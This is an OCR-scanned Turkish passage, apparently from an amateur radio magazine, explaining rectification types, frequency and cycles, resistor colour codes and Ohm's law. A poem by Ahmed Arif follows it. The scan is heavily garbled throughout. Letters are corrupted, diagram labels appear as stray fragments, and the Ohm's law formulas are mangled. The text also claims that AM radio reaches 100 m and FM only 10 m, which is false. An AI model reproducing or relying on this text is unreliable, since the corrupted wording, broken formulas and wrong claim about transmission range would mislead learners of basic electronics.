Yukarida kisaca bahsettigim regiile islemi yapilarak alterna-
tif akim dogru akima doniistiiriiliir. Regiile devreleri, ay-
rica dogrultmacg devreleri olarak da bilinmektedir. 3 farkl
sekilde dogrultma (regiile) yapilabilir. Regiile tipleri agsagida
siralanmigtir. Ayrica Dogrultmag Devreleri ile ilgili ayrintili
bilgiye ulasabilirsiniz.

Yarim Dalga Dogrultma
Tam Dalga Dogrultma
Képrii Tipi Dogrultma

Frekans Nedir?

Frekans, bir olaymn birim zaman (genellikle 1 saniye) i¢inde
hangi siklikla, ka¢ defa tekrarlandiginin 6l¢iimiidiir. Bir saniye
icerisinde olusan saykil (cycle) sayisina frekans denir. Frekans
birimi Hertzdir (Hz).

3251
Volt
B R it Tt e

156
110 =

-110f

Hertz kavrami ismini Heinrich Rudolf Hertz'in isminden al-
maktadir. Bir hz. saniyede gerceklesen bir ¢cevrimdir. Burada
bilmemiz gereken 6zelliklerden biri de ayni tiir sinyalin fre-
kans degeri arttik¢a sinyalin iletim mesafesinin azaliyor olu-
sudur. Ornegin, AM radyolar 100m &teye iletilebilirken, FM
radyo dalgalar1 10m iletilebilir. Burada SAYKIL ne demek ki-
saca tanimlayalim.

vl 3
(+)Pozitif
[+]
Alteraans T/2 270 T(Peryot) wt
0 o 5
]
90° 180° (-)Negatif 360
Alternans
v 1 Saykil

Pozitif ve negatif alternanslarin 360 dereceyi tamamlamast,
yani liretecin 1 tur donmesi ile 1 saykil olusur.
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ELEKTRONIK DEVRE TEMEL ELEMANLARI
Direnc Nedir?

Direng kelimesi, genel anlamda, “bir giice kars: olan direnme” olarak tanimlanabilir. Elektrik ve elektronikte direng, iki ucu
arasina gerilim uygulanan bir maddenin akima karg1 gosterdigi direnme ozelligidir. Ozetleyecek olursak; elektrik akimina gos-

terilen zorluga direng denir.

Direng “R” veya “r” harfi ile gosterilir, birimi Ohm (Q) dur. Direngler iizerinde renk kodlar1 yer almakta olup, diren¢ degerlerini

temsil ederler. drnek tablo agagida verilmistir.

4 Bandl Kod
L ] 1 | [ ]
| | : S60kC+ 5%

Renk 1 BaND| 2 BaND | 3. BAND arpan Tolerans

2370+ 1%
5 Bandh Kod

Ohm Kanunu?
Ohm Kanunu’nu 3 farkh sekilde ifade edebiliriz.

(1) V=IRV=IR,  (2) I=\dfrac{V}{R}=RVve (3) R=\dfrac{VH{I}R=IV

v
I | R

Ohm Kanunu anlatilirken, yukaridaki ii¢ formiiliin karistiril-
mamast i¢in genelde bir tiggen kullanilir. Bu ti¢geni kullan-
manin temel mantig1 su sekildedir: Eger, R degerini bulmak
istiyorsak, tiggende R'yi kapattigimizda iistte V altta ise I'y1
goriiyoruz ve aralarindaki ¢izgi bolim isaretine benziyor.
Yani R degeri \dfrac{V}{I}IV’ya esit oluyor. Benzer sekilde, I'y1
bulmak istiyorsak, I'nin tizerini kapatip, \dfrac{V}{R}RV for-
milint gorityoruz. V’yi bulmak igin tepeyi kapattigimizda,
I ve R yan yana kaliyor, yani ¢arpimlari :P. Bize gore V = IR
formiiliinii hatirlayip, diger formiilleri ¢ikarmak i¢in basit ma-
tematiksel islemler yapmak, bu ticgeni ve formiilii bulma y6n-
temini hatirlamaktan ¢ok daha kolay. Bu ti¢ formiiliin timi,

aslinda ayni formiilden elde ediliyor, farkli seyler degiller. V
= IR formiiliinde iki tarafi da Rye bolersek, I=\dfrac{V}{R}
I=RV%i elde ederiz. Yine, V = IR formiiliinde iki tarafi da I'ya
bolersek, R=\dfrac{VH{I}R=IVformiliint elde etmis oluruz.
Kisacas1 V = IRyi hatirlamamiz yeterlidir.

Simdilik buraya kadar olan boliimii kavramaya ¢alisalim ve bir
sonraki yazimizda bulusmak tizere bir nokta koyalim isterim.
Gergek amator telsiz operatdrii olma yolundaki okurlarimizla
tekrar bulugmak tizere, 73!

TA1IHE Murat KAYGISIZ
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Oyle yikma kendini,

Oyle mahzun, dyle garip...
Nerede olursan ol,

icerde, disarda, derste, sirada,
Yiirii tistiine, iistiine,

Tiikiir yiiziine celladn,
Firsatginin, fesatginin, hayinin...
Dayan kitap ile

Dayan is ile.

Tirnak ile, dis ile,

Umut ile, sevda ile, diis ile
Dayan riisva etme beni.
Ahmed Arif
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